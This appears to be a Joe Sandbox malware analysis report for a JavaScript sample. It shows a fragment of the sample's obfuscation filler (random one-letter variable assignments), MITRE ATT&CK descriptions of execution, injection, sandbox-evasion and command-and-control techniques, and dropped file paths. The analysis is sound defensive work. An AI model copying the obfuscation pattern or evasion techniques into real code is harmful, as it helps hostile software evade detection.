1545	pnxtbwi = "h";
1546	pnxtbwi = "X";
1547	pnxtbwi = "Z";
1548	pnxtbwi = "E";
1549	pnxtbwi = "E";
1550	pnxtbwi = "t";
1551	pnxtbwi = "F";
1552	pnxtbwi = "r";
1553	pnxtbwi = "M";
1554	pnxtbwi = "r";
1555	pnxtbwi = "j";
1556	pnxtbwi = "Y";
1557	pnxtbwi = "H";
1558	pnxtbwi = "K";
1559	pnxtbwi = "w";
1560	pnxtbwi = "q";
1561	pnxtbwi = "r";
1562	pnxtbwi = "d";
1563	guprq = "d";
1564	guprq = "H";
1565	guprq = "R";
1566	guprq = "G";
1567	guprq = "D";
1568	guprq = "x";
1569	guprq = "f";
1570	guprq = "M";
1571	guprq = "B";
1572	guprq = "u";
1573	guprq = "n";
1574	guprq = "M";
1575	guprq = "q";
1576	uerkbht = "K";
1577	uerkbht = "h";
1578	uerkbht = "P";
1579	uerkbht = "K";
1580	uerkbht = "S";
1581	uerkbht = "v";
1582	bqyai ( );	bqyai() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 5330147048382019.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\53cb9de2-57df-4b8b-b754-dd49060dac2c.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7468

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Windows Analysis Report
5330147048382019.js